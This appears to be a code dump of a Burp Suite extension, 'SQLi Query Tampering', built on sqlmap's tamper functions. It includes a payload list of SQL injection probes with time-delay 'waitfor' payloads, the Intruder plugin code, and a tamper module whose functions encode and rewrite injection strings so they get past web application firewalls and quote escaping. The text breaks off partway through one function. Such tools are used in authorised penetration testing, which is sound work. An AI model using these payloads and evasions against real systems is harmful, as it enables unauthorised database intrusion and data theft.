821 | MATCH 822 | MATCHED 823 | MATERIALIZED 824 | MAX 825 | MAXVALUE 826 | MAX_CARDINALITY 827 | MEMBER 828 | MERGE 829 | MESSAGE_LENGTH 830 | MESSAGE_OCTET_LENGTH 831 | MESSAGE_TEXT 832 | METHOD 833 | MIN 834 | MINUTE 835 | MINVALUE 836 | MOD 837 | MODE 838 | MODIFIES 839 | MODULE 840 | MONTH 841 | MORE 842 | MOVE 843 | MULTISET 844 | MUMPS 845 | NAME 846 | NAMES 847 | NAMESPACE 848 | NATIONAL 849 | NATURAL 850 | NCHAR 851 | NCLOB 852 | NESTING 853 | NEW 854 | NEXT 855 | NFC 856 | NFD 857 | NFKC 858 | NFKD 859 | NIL 860 | NO 861 | NONE 862 | NORMALIZE 863 | NORMALIZED 864 | NOT 865 | NOTHING 866 | NOTIFY 867 | NOTNULL 868 | NOWAIT 869 | NTH_VALUE 870 | NTILE 871 | NULL 872 | NULLABLE 873 | NULLIF 874 | NULLS 875 | NUMBER 876 | NUMERIC 877 | OBJECT 878 | OCCURRENCES_REGEX 879 | OCTETS 880 | OCTET_LENGTH 881 | OF 882 | OFF 883 | OFFSET 884 | OIDS 885 | OLD 886 | ON 887 | ONLY 888 | OPEN 889 | OPERATOR 890 | OPTION 891 | OPTIONS 892 | OR 893 | ORDER 894 | ORDERING 895 | ORDINALITY 896 | OTHERS 897 | OUT 898 | OUTER 899 | OUTPUT 900 | OVER 901 | OVERLAPS 902 | OVERLAY 903 | OVERRIDING 904 | OWNED 905 | OWNER 906 | P 907 | PAD 908 | PARAMETER 909 | PARAMETER_MODE 910 | PARAMETER_NAME 911 | PARAMETER_ORDINAL_POSITION 912 | PARAMETER_SPECIFIC_CATALOG 913 | PARAMETER_SPECIFIC_NAME 914 | PARAMETER_SPECIFIC_SCHEMA 915 | PARSER 916 | PARTIAL 917 | PARTITION 918 | PASCAL 919 | PASSING 920 | PASSTHROUGH 921 | PASSWORD 922 | PATH 923 | PERCENT 924 | PERCENTILE_CONT 925 | PERCENTILE_DISC 926 | PERCENT_RANK 927 | PERIOD 928 | PERMISSION 929 | PLACING 930 | PLANS 931 | PLI 932 | PORTION 933 | POSITION 934 | POSITION_REGEX 935 | POWER 936 | PRECEDES 937 | PRECEDING 938 | PRECISION 939 | PREPARE 940 | PREPARED 941 | PRESERVE 942 | PRIMARY 943 | PRIOR 944 | PRIVILEGES 945 | PROCEDURAL 946 | PROCEDURE 947 | PROGRAM 948 | PUBLIC 949 | QUOTE 950 | RANGE 951 | RANK 952 | READ 953 | READS 954 | REAL 955 | REASSIGN 956 | RECHECK 957 | RECOVERY 958 | RECURSIVE 959 | REF 960 | REFERENCES 961 | REFERENCING 962 | REFRESH 963 | REGR_AVGX 964 | REGR_AVGY 965 | REGR_COUNT 966 | REGR_INTERCEPT 967 | REGR_R2 968 | REGR_SLOPE 969 | REGR_SXX 970 | REGR_SXY 971 | REGR_SYY 972 | REINDEX 973 | RELATIVE 974 | RELEASE 975 | RENAME 976 | REPEATABLE 977 | REPLACE 978 | REPLICA 979 | REQUIRING 980 | RESET 981 | RESPECT 982 | RESTART 983 | RESTORE 984 | RESTRICT 985 | RESULT 986 | RETURN 987 | RETURNED_CARDINALITY 988 | RETURNED_LENGTH 989 | RETURNED_OCTET_LENGTH 990 | RETURNED_SQLSTATE 991 | RETURNING 992 | RETURNS 993 | REVOKE 994 | RIGHT 995 | ROLE 996 | ROLLBACK 997 | ROLLUP 998 | ROUTINE 999 | ROUTINE_CATALOG 1000 | ROUTINE_NAME 1001 | ROUTINE_SCHEMA 1002 | ROW 1003 | ROWS 1004 | ROW_COUNT 1005 | ROW_NUMBER 1006 | RULE 1007 | SAVEPOINT 1008 | SCALE 1009 | SCHEMA 1010 | SCHEMA_NAME 1011 | SCOPE 1012 | SCOPE_CATALOG 1013 | SCOPE_NAME 1014 | SCOPE_SCHEMA 1015 | SCROLL 1016 | SEARCH 1017 | SECOND 1018 | SECTION 1019 | SECURITY 1020 | SELECT 1021 | SELECTIVE 1022 | SELF 1023 | SENSITIVE 1024 | SEQUENCE 1025 | SEQUENCES 1026 | SERIALIZABLE 1027 | SERVER 1028 | SERVER_NAME 1029 | SESSION 1030 | SESSION_USER 1031 | SET 1032 | SETOF 1033 | SETS 1034 | SHARE 1035 | SHOW 1036 | SIMILAR 1037 | SIMPLE 1038 | SIZE 1039 | SMALLINT 1040 | SNAPSHOT 1041 | SOME 1042 | SOURCE 1043 | SPACE 1044 | SPECIFIC 1045 | SPECIFICTYPE 1046 | SPECIFIC_NAME 1047 | SQL 1048 | SQLCODE 1049 | SQLERROR 1050 | SQLEXCEPTION 1051 | SQLSTATE 1052 | SQLWARNING 1053 | SQRT 1054 | STABLE 1055 | STANDALONE 1056 | START 1057 | STATE 1058 | STATEMENT 1059 | STATIC 1060 | STATISTICS 1061 | STDDEV_POP 1062 | STDDEV_SAMP 1063 | STDIN 1064 | STDOUT 1065 | STORAGE 1066 | STRICT 1067 | STRIP 1068 | STRUCTURE 1069 | STYLE 1070 | SUBCLASS_ORIGIN 1071 | SUBMULTISET 1072 | SUBSTRING 1073 | SUBSTRING_REGEX 1074 | SUCCEEDS 1075 | SUM 1076 | SYMMETRIC 1077 | SYSID 1078 | SYSTEM 1079 | SYSTEM_TIME 1080 | SYSTEM_USER 1081 | T 1082 | TABLE 1083 | TABLES 1084 | TABLESAMPLE 1085 | TABLESPACE 1086 | TABLE_NAME 1087 | TEMP 1088 | TEMPLATE 1089 | TEMPORARY 1090 | TEXT 1091 | THEN 1092 | TIES 1093 | TIME 1094 | TIMESTAMP 1095 | TIMEZONE_HOUR 1096 | TIMEZONE_MINUTE 1097 | TO 1098 | TOKEN 1099 | TOP_LEVEL_COUNT 1100 | TRAILING 1101 | TRANSACTION 1102 | TRANSACTIONS_COMMITTED 1103 | TRANSACTIONS_ROLLED_BACK 1104 | TRANSACTION_ACTIVE 1105 | TRANSFORM 1106 | TRANSFORMS 1107 | TRANSLATE 1108 | TRANSLATE_REGEX 1109 | TRANSLATION 1110 | TREAT 1111 | TRIGGER 1112 | TRIGGER_CATALOG 1113 | TRIGGER_NAME 1114 | TRIGGER_SCHEMA 1115 | TRIM 1116 | TRIM_ARRAY 1117 | TRUE 1118 | TRUNCATE 1119 | TRUSTED 1120 | TYPE 1121 | TYPES 1122 | UESCAPE 1123 | UNBOUNDED 1124 | UNCOMMITTED 1125 | UNDER 1126 | UNENCRYPTED 1127 | UNION 1128 | UNIQUE 1129 | UNKNOWN 1130 | UNLINK 1131 | UNLISTEN 1132 | UNLOGGED 1133 | UNNAMED 1134 | UNNEST 1135 | UNTIL 1136 | UNTYPED 1137 | UPDATE 1138 | UPPER 1139 | URI 1140 | USAGE 1141 | USER 1142 | USER_DEFINED_TYPE_CATALOG 1143 | USER_DEFINED_TYPE_CODE 1144 | USER_DEFINED_TYPE_NAME 1145 | USER_DEFINED_TYPE_SCHEMA 1146 | USING 1147 | VACUUM 1148 | VALID 1149 | VALIDATE 1150 | VALIDATOR 1151 | VALUE 1152 | VALUES 1153 | VALUE_OF 1154 | VARBINARY 1155 | VARCHAR 1156 | VARIADIC 1157 | VARYING 1158 | VAR_POP 1159 | VAR_SAMP 1160 | VERBOSE 1161 | VERSION 1162 | VERSIONING 1163 | VIEW 1164 | VOLATILE 1165 | WHEN 1166 | WHENEVER 1167 | WHERE 1168 | WHITESPACE 1169 | WIDTH_BUCKET 1170 | WINDOW 1171 | WITH 1172 | WITHIN 1173 | WITHOUT 1174 | WORK 1175 | WRAPPER 1176 | WRITE 1177 | XML 1178 | XMLAGG 1179 | XMLATTRIBUTES 1180 | XMLBINARY 1181 | XMLCAST 1182 | XMLCOMMENT 1183 | XMLCONCAT 1184 | XMLDECLARATION 1185 | XMLDOCUMENT 1186 | XMLELEMENT 1187 | XMLEXISTS 1188 | XMLFOREST 1189 | XMLITERATE 1190 | XMLNAMESPACES 1191 | XMLPARSE 1192 | XMLPI 1193 | XMLQUERY 1194 | XMLROOT 1195 | XMLSCHEMA 1196 | XMLSERIALIZE 1197 | XMLTABLE 1198 | XMLTEXT 1199 | XMLVALIDATE 1200 | YEAR 1201 | YES 1202 | ZONE 1203 | -------------------------------------------------------------------------------- /payloads.lst: -------------------------------------------------------------------------------- 1 | % 2 | ' 3 | '' 4 | "" 5 | " 6 | '"-- 7 | '; waitfor delay '0:30:0'-- 8 | 1;waitfor delay '0:30:0'-- 9 | (",)')(,(( 10 | ));waitfor delay '0:0:__TIME__'-- -------------------------------------------------------------------------------- /sqli_query_tampering.py: -------------------------------------------------------------------------------- 1 | 2 | from burp import (IBurpExtender, IIntruderPayloadGeneratorFactory, ITab, 3 | IIntruderPayloadGenerator, IIntruderPayloadProcessor) 4 | from tamper import SQLiTamper 5 | from UI import PluginUI 6 | 7 | try: 8 | from exceptions_fix import FixBurpExceptions 9 | import sys 10 | except ImportError: 11 | pass 12 | 13 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor, ITab): 14 | def __init__(self): 15 | self.tamperedPayloads = [] 16 | self.PayloadList = [] 17 | self.tamper = SQLiTamper() 18 | 19 | def registerExtenderCallbacks(self, callbacks): 20 | self.callbacks = callbacks 21 | self.helper = callbacks.getHelpers() 22 | sys.stdout = callbacks.getStdout() 23 | 24 | callbacks.setExtensionName('SQLi Query Tampering') 25 | callbacks.registerIntruderPayloadGeneratorFactory(self) 26 | callbacks.registerIntruderPayloadProcessor(self) 27 | 28 | callbacks.addSuiteTab(self) 29 | print('SQLi Query Tampering v 1.3\nCreated by Xer0Days') 30 | print('Based on Sqlmap\'s Tampering Functions\n') 31 | print('---------------------------------------------') 32 | print('Github:\t\thttps://github.com/xer0days\nTwitter:\thttps://twitter.com/Xer0Days') 33 | print('---------------------------------------------\n') 34 | 35 | def getGeneratorName(self): 36 | return 'SQLi Query Tampering' 37 | 38 | def getProcessorName(self): 39 | return 'SQLi Query Tampering' 40 | 41 | def createNewInstance(self, attack): 42 | return IntruderPayloadGenerator(self) 43 | 44 | def getTabCaption(self): 45 | return 'SQLi Tampering' 46 | 47 | def getUiComponent(self): 48 | self.ui = PluginUI(self) 49 | return self.ui.mainPanel 50 | 51 | def processPayload(self, currentPayload, originalPayload, baseValue): 52 | tamperFuncName = self.ui.getProcessorTechName() 53 | currPayload = self.helper.bytesToString(currentPayload) 54 | result = getattr(self.tamper, tamperFuncName)(currPayload) 55 | return self.helper.stringToBytes(result) 56 | 57 | def getTamperFuncsName(self): 58 | result = [] 59 | for func in self.tamper.techniques['All']: 60 | result.append(func.__name__) 61 | return sorted(result) 62 | 63 | def tamperSinglePayload(self, tamperFuncName=None, payload=''): 64 | if tamperFuncName is None: return 65 | result = getattr(self.tamper, tamperFuncName)(payload) 66 | return result 67 | 68 | def generatePayloads(self): 69 | self.tamperedPayloads[:] = [] 70 | self.tamperedPayloads = self.tamperedPayloads + self.PayloadList 71 | 72 | techs = self.ui.getGeneratorTechsName() 73 | if not len(techs): return 74 | 75 | for tech in techs: 76 | for func in self.tamper.techniques[tech]: 77 | for payload in self.PayloadList: 78 | tampered = func(payload) 79 | self.tamperedPayloads.append(tampered) 80 | # Remove duplicate payloads 81 | self.tamperedPayloads = list(dict.fromkeys(self.tamperedPayloads)) 82 | 83 | class IntruderPayloadGenerator(IIntruderPayloadGenerator): 84 | def __init__(self, extender): 85 | self.extender = extender 86 | self.payloadIndex = 0 87 | self.extender.generatePayloads() 88 | 89 | def hasMorePayloads(self): 90 | return self.payloadIndex < len(self.extender.tamperedPayloads) 91 | 92 | def getNextPayload(self, baseValue): 93 | payload = self.extender.helper.stringToBytes(self.extender.tamperedPayloads[self.payloadIndex]) 94 | self.payloadIndex += 1 95 | return payload 96 | 97 | def reset(self): 98 | self.payloadIndex = 0 99 | 100 | try: 101 | FixBurpExceptions() 102 | except NameError: 103 | pass 104 | -------------------------------------------------------------------------------- /tamper.py: -------------------------------------------------------------------------------- 1 | 2 | import collections 3 | import os 4 | import random 5 | import re 6 | import string 7 | import random 8 | import binascii 9 | import codecs 10 | 11 | IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM") 12 | 13 | class OrderedSet(collections.MutableSet): 14 | """ 15 | This class defines the set with ordered (as added) items 16 | >>> foo = OrderedSet() 17 | >>> foo.add(1) 18 | >>> foo.add(2) 19 | >>> foo.add(3) 20 | >>> foo.pop() 21 | 3 22 | >>> foo.pop() 23 | 2 24 | >>> foo.pop() 25 | 1 26 | """ 27 | 28 | def __init__(self, iterable=None): 29 | self.end = end = [] 30 | end += [None, end, end] # sentinel node for doubly linked list 31 | self.map = {} # key --> [key, prev, next] 32 | if iterable is not None: 33 | self |= iterable 34 | 35 | def __len__(self): 36 | return len(self.map) 37 | 38 | def __contains__(self, key): 39 | return key in self.map 40 | 41 | def add(self, value): 42 | if value not in self.map: 43 | end = self.end 44 | curr = end[1] 45 | curr[2] = end[1] = self.map[value] = [value, curr, end] 46 | 47 | def discard(self, value): 48 | if value in self.map: 49 | value, prev, next = self.map.pop(value) 50 | prev[2] = next 51 | next[1] = prev 52 | 53 | def __iter__(self): 54 | end = self.end 55 | curr = end[2] 56 | while curr is not end: 57 | yield curr[0] 58 | curr = curr[2] 59 | 60 | def __reversed__(self): 61 | end = self.end 62 | curr = end[1] 63 | while curr is not end: 64 | yield curr[0] 65 | curr = curr[1] 66 | 67 | def pop(self, last=True): 68 | if not self: 69 | raise KeyError('set is empty') 70 | key = self.end[1][0] if last else self.end[2][0] 71 | self.discard(key) 72 | return key 73 | 74 | def __repr__(self): 75 | if not self: 76 | return '%s()' % (self.__class__.__name__,) 77 | return '%s(%r)' % (self.__class__.__name__, list(self)) 78 | 79 | def __eq__(self, other): 80 | if isinstance(other, OrderedSet): 81 | return len(self) == len(other) and list(self) == list(other) 82 | return set(self) == set(other) 83 | 84 | class SQLiTamper(): 85 | def __init__(self): 86 | self._All = [self.chardoubleencode, self.versionedmorekeywords, self.versionedkeywords, self.uppercase, self.unmagicquotes, \ 87 | self.unionalltounion, self.symboliclogical, self. space2randomblank, self.space2plus, self.space2mysqldash, \ 88 | self.space2mysqlblank, self.space2mssqlhash, self.space2mssqlblank, self.space2morehash, self.space2morecomment, \ 89 | self.space2hash, self.space2dash, self.space2comment, self.sp_password, self.randomcomments, self.randomcase, self.plus2fnconcat, \ 90 | self.plus2concat, self.percentage, self.overlongutf8more, self.overlongutf8, self.multiplespaces, self.modsecurityzeroversioned, \ 91 | self.modsecurityversioned, self.lowercase, self.least, self.informationschemacomment, self.ifnull2ifisnull, self.ifnull2casewhenisnull, \ 92 | self.htmlencode, self.hex2char, self.halfversionedmorekeywords, self.greatest, self.escapequotes, self.equaltolike, self.concat2concatws, \ 93 | self.commentbeforeparentheses, self.commalessmid, self.commalesslimit, self.charunicodeescape, self.charunicodeencode, self.charencode, \ 94 | self.bluecoat, self.between, self.appendnullbyte, self.apostrophenullencode, self.apostrophemask, self.e0UNION, 95 | self.misunion, self.schemasplit, self.binary, self.dunion, self.equaltorlike] 96 | self._General = [self.chardoubleencode, self.unmagicquotes, self.unionalltounion, self.symboliclogical, \ 97 | self.space2plus, self.randomcomments, self.randomcase, self.overlongutf8more, self.overlongutf8, \ 98 | self.multiplespaces, self.htmlencode, self.escapequotes, self.charunicodeescape, self.apostrophenullencode, \ 99 | self.apostrophemask, self.between, self.charencode, self.charunicodeencode, self.equaltolike, self.greatest, \ 100 | self.ifnull2ifisnull, self.percentage, self.space2randomblank, self.space2comment] 101 | self._MSAccess = [self.appendnullbyte, self.between, self.bluecoat, self.charencode, self.charunicodeencode, self.concat2concatws, \ 102 | self.equaltolike, self.greatest, self.halfversionedmorekeywords, self.ifnull2ifisnull, self.modsecurityversioned, \ 103 | self.modsecurityzeroversioned, self.multiplespaces, self.percentage, self.randomcase, self.space2comment, self.space2hash, \ 104 | self.space2morehash, self.space2mysqldash, self.space2plus, self.space2randomblank, self.unionalltounion, self.unmagicquotes, \ 105 | self.versionedkeywords, self.versionedmorekeywords] 106 | self._MSSQL = [self.uppercase, self.space2randomblank, self.space2mysqldash, self.space2mssqlhash, self.space2mssqlblank, \ 107 | self.space2dash, self.space2comment, self.sp_password, self.plus2fnconcat, self.plus2concat, self.percentage, \ 108 | self.lowercase, self.equaltolike, self.commentbeforeparentheses, self.charunicodeencode, self.charencode, \ 109 | self.between, self.greatest, self.multiplespaces, self.randomcase, self.space2plus, self.unionalltounion, \ 110 | self.unmagicquotes, self.e0UNION] 111 | self._MySQL = [self.versionedmorekeywords, self.versionedkeywords, self.uppercase, self.space2randomblank, self.space2mysqldash, \ 112 | self.space2mysqlblank, self.space2mssqlhash, self.space2morehash, self. space2morecomment, self. space2hash, \ 113 | self.space2comment, self.percentage, self.modsecurityzeroversioned, self.modsecurityversioned, self.lowercase, \ 114 | self.least, self.informationschemacomment, self.ifnull2ifisnull, self.ifnull2casewhenisnull, self.hex2char, \ 115 | self.halfversionedmorekeywords, self.greatest, self.equaltolike, self.concat2concatws, self.commentbeforeparentheses, \ 116 | self.commalessmid, self.commalesslimit, self.charunicodeencode, self.charencode, self.bluecoat, self.between, self.multiplespaces, \ 117 | self.randomcase, self.space2comment, self.space2plus, self.unionalltounion, self.unmagicquotes, self.e0UNION, 118 | self.misunion, self.schemasplit, self.binary, self.equaltorlike] 119 | self._Oracle = [self.uppercase, self.space2randomblank, self.space2comment, self.lowercase, self.least, self.greatest, \ 120 | self.commentbeforeparentheses, self.charencode, self.between, self.equaltolike, self.multiplespaces, \ 121 | self.randomcase, self.space2plus, self.unionalltounion, self.unmagicquotes, self.dunion] 122 | self._PostgreSQL= [self.uppercase, self.substring2leftright, self.space2randomblank, self.space2comment, self.percentage, \ 123 | self.lowercase, self.least, self.greatest, self.commentbeforeparentheses, self.charunicodeencode, \ 124 | self.charencode, self.between, self.equaltolike, self.multiplespaces, self.randomcase, self.space2plus] 125 | self._SAP_MaxDB = [self.ifnull2ifisnull, self.ifnull2casewhenisnull, self.randomcase, self.space2comment, self.space2plus, \ 126 | self.unionalltounion, self.unmagicquotes] 127 | self._SQLite = [self.space2dash, self.ifnull2ifisnull, self.ifnull2casewhenisnull, self.multiplespaces, self.randomcase, \ 128 | self.space2comment, self.space2plus, self.unionalltounion, self.unmagicquotes] 129 | self.keywords = set(self.getFileItems('keywords.txt')) 130 | self.techniques = { 131 | 'All':self._All, 132 | 'General':self._General, 133 | 'MSAccess':self._MSAccess, 134 | 'MSSQL':self._MSSQL, 135 | 'MySQL':self._MySQL, 136 | 'Oracle':self._Oracle, 137 | 'PostgreSQL':self._PostgreSQL, 138 | 'SAP_MaxDB':self._SAP_MaxDB, 139 | 'SQLite':self._SQLite 140 | } 141 | 142 | def randomRange(self, start=0, stop=1000, seed=None): 143 | randint = random.randint 144 | return int(randint(start, stop)) 145 | 146 | def zeroDepthSearch(self, expression, value): 147 | """ 148 | Searches occurrences of value inside expression at 0-depth level 149 | regarding the parentheses 150 | >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] 151 | 'FROM DUAL' 152 | >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] 153 | ',d;e' 154 | """ 155 | 156 | retVal = [] 157 | 158 | depth = 0 159 | for index in xrange(len(expression)): 160 | if expression[index] == '(': 161 | depth += 1 162 | elif expression[index] == ')': 163 | depth -= 1 164 | elif depth == 0: 165 | if value.startswith('[') and value.endswith(']'): 166 | if re.search(value, expression[index:index + 1]): 167 | retVal.append(index) 168 | elif expression[index:index + len(value)] == value: 169 | retVal.append(index) 170 | 171 | return retVal 172 | 173 | def getOrds(self, value): 174 | """ 175 | Returns ORD(...) representation of provided string value 176 | >>> getOrds(u'fo\\xf6bar') 177 | [102, 111, 246, 98, 97, 114] 178 | >>> getOrds(b"fo\\xc3\\xb6bar") 179 | [102, 111, 195, 182, 98, 97, 114] 180 | """ 181 | 182 | return [_ if isinstance(_, int) else ord(_) for _ in value] 183 | 184 | def getText(self, value, encoding=None): 185 | """ 186 | Returns textual value of a given value (Note: not necessary Unicode on Python2) 187 | >>> getText(b"foobar") 188 | 'foobar' 189 | >>> isinstance(getText(u"fo\\u2299bar"), six.text_type) 190 | True 191 | """ 192 | 193 | retVal = value 194 | 195 | if isinstance(value, str): 196 | retVal = self.getUnicode(value, encoding) 197 | try: 198 | retVal = str(retVal) 199 | except: 200 | pass 201 | 202 | return retVal 203 | 204 | def decodeHex(self, value, binary=True): 205 | """ 206 | Returns a decoded representation of provided hexadecimal value 207 | >>> decodeHex("313233") == b"123" 208 | True 209 | >>> decodeHex("313233", binary=False) == u"123" 210 | True 211 | """ 212 | 213 | retVal = value 214 | try: 215 | if isinstance(value, str): 216 | value = self.getText(value) 217 | 218 | if value.lower().startswith("0x"): 219 | value = value[2:] 220 | 221 | try: 222 | retVal = codecs.decode(value, "hex") 223 | except LookupError: 224 | retVal = binascii.unhexlify(value) 225 | 226 | if not binary: 227 | retVal = self.getText(retVal) 228 | except: 229 | pass 230 | 231 | return retVal 232 | 233 | def getUnicode(self, value, encoding=None, noneToNull=False): 234 | """ 235 | Returns the unicode representation of the supplied value 236 | >>> getUnicode('test') == u'test' 237 | True 238 | >>> getUnicode(1) == u'1' 239 | True 240 | """ 241 | 242 | if noneToNull and value is None: 243 | return None 244 | 245 | if isinstance(value, unicode): 246 | return value 247 | elif isinstance(value, str): 248 | return value.encode('utf-8') 249 | 250 | return None 251 | 252 | def randomInt(self, length=4, seed=None): 253 | """ 254 | Returns random integer value with provided number of digits 255 | >>> random.seed(0) 256 | >>> self.randomInt(6) 257 | 963638 258 | """ 259 | 260 | choice = random.choice 261 | 262 | return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) 263 | 264 | def getFileItems(self, filename, commentPrefix='#', lowercase=False, unique=False): 265 | """ 266 | Returns newline delimited items contained inside file 267 | """ 268 | 269 | retVal = list() 270 | 271 | if filename: 272 | filename = filename.strip('"\'') 273 | 274 | try: 275 | with open(filename, 'r') as f: 276 | for line in f: 277 | if commentPrefix: 278 | if line.find(commentPrefix) != -1: 279 | line = line[:line.find(commentPrefix)] 280 | 281 | line = line.strip() 282 | 283 | if line: 284 | if lowercase: 285 | line = line.lower() 286 | 287 | if unique and line in retVal: 288 | continue 289 | 290 | if unique: 291 | retVal[line] = True 292 | else: 293 | retVal.append(line) 294 | except (IOError, OSError, MemoryError) as ex: 295 | errMsg = "something went wrong while trying " 296 | errMsg += "to read the content of file ''" % filename 297 | raise Exception(errMsg) 298 | 299 | return retVal if not unique else list(retVal.keys()) 300 | 301 | def chardoubleencode(self, payload, **kwargs): 302 | """ 303 | Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) 304 | Notes: 305 | * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset 306 | >>> tamper('SELECT FIELD FROM%20TABLE') 307 | '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' 308 | """ 309 | 310 | retVal = payload 311 | 312 | if payload: 313 | retVal = "" 314 | i = 0 315 | 316 | while i < len(payload): 317 | if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: 318 | retVal += '%%25%s' % payload[i + 1:i + 3] 319 | i += 3 320 | else: 321 | retVal += '%%25%.2X' % ord(payload[i]) 322 | i += 1 323 | 324 | return retVal 325 | 326 | def versionedmorekeywords(self, payload, **kwargs): 327 | """ 328 | Encloses each keyword with (MySQL) versioned comment 329 | Requirement: 330 | * MySQL >= 5.1.13 331 | Tested against: 332 | * MySQL 5.1.56, 5.5.11 333 | Notes: 334 | * Useful to bypass several web application firewalls when the 335 | back-end database management system is MySQL 336 | >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') 337 | '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' 338 | """ 339 | 340 | def process(match): 341 | word = match.group('word') 342 | if word.upper() in self.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: 343 | return match.group().replace(word, "/*!%s*/" % word) 344 | else: 345 | return match.group() 346 | 347 | retVal = payload 348 | 349 | if payload: 350 | retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, retVal) 351 | retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") 352 | 353 | return retVal 354 | 355 | def versionedkeywords(self, payload, **kwargs): 356 | """ 357 | Encloses each non-function keyword with (MySQL) versioned comment 358 | Requirement: 359 | * MySQL 360 | Tested against: 361 | * MySQL 4.0.18, 5.1.56, 5.5.11 362 | Notes: 363 | * Useful to bypass several web application firewalls when the 364 | back-end database management system is MySQL 365 | >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') 366 | '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' 367 | """ 368 | 369 | def process(match): 370 | word = match.group('word') 371 | if word.upper() in self.keywords: 372 | return match.group().replace(word, "/*!%s*/" % word) 373 | else: 374 | return match.group() 375 | 376 | retVal = payload 377 | 378 | if payload: 379 | retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) 380 | retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") 381 | 382 | return retVal 383 | 384 | def uppercase(self, payload, **kwargs): 385 | """ 386 | Replaces each keyword character with upper case value (e.g. select -> SELECT) 387 | Tested against: 388 | * Microsoft SQL Server 2005 389 | * MySQL 4, 5.0 and 5.5 390 | * Oracle 10g 391 | * PostgreSQL 8.3, 8.4, 9.0 392 | Notes: 393 | * Useful to bypass very weak and bespoke web application firewalls 394 | that has poorly written permissive regular expressions 395 | * This tamper script should work against all (?) databases 396 | >>> tamper('insert') 397 | 'INSERT' 398 | """ 399 | 400 | retVal = payload 401 | 402 | if payload: 403 | for match in re.finditer(r"[A-Za-z_]+", retVal): 404 | word = match.group() 405 | 406 | if word.upper() in self.keywords: 407 | retVal = retVal.replace(word, word.upper()) 408 | 409 | return retVal 410 | 411 | def unmagicquotes(self, payload, **kwargs): 412 | """ 413 | Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work) 414 | Notes: 415 | * Useful for bypassing magic_quotes/addslashes feature 416 | Reference: 417 | * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string 418 | >>> tamper("1' AND 1=1") 419 | '1%bf%27-- -' 420 | """ 421 | 422 | retVal = payload 423 | 424 | if payload: 425 | found = False 426 | retVal = "" 427 | 428 | for i in xrange(len(payload)): 429 | if payload[i] == '\'' and not found: 430 | retVal += "%bf%27" 431 | found = True 432 | else: 433 | retVal += payload[i] 434 | continue 435 | 436 | if found: 437 | _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) 438 | if _ != retVal: 439 | retVal = _ 440 | retVal += "-- -" 441 | elif not any(_ in retVal for _ in ('#', '--', '/*')): 442 | retVal += "-- -" 443 | return retVal 444 | 445 | def unionalltounion(self, payload, **kwargs): 446 | """ 447 | Replaces instances of UNION ALL SELECT with UNION SELECT counterpart 448 | >>> tamper('-1 UNION ALL SELECT') 449 | '-1 UNION SELECT' 450 | """ 451 | 452 | return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload 453 | 454 | def symboliclogical(self, payload, **kwargs): 455 | """ 456 | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) 457 | >>> tamper("1 AND '1'='1") 458 | "1 %26%26 '1'='1" 459 | """ 460 | 461 | retVal = payload 462 | 463 | if payload: 464 | retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) 465 | 466 | return retVal 467 | 468 | def substring2leftright(self, payload, **kwargs): 469 | """ 470 | Replaces PostgreSQL SUBSTRING with LEFT and RIGHT 471 | Tested against: 472 | * PostgreSQL 9.6.12 473 | Note: 474 | * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) 475 | >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)') 476 | 'LEFT((SELECT usename FROM pg_user)::text,1)' 477 | >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)') 478 | 'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)' 479 | """ 480 | 481 | retVal = payload 482 | 483 | if payload: 484 | match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) 485 | 486 | if match: 487 | pos = int(match.group(2)) 488 | if pos == 1: 489 | _ = "LEFT(%s,1)" % (match.group(1)) 490 | else: 491 | _ = "LEFT(RIGHT(%s,%d),1)" 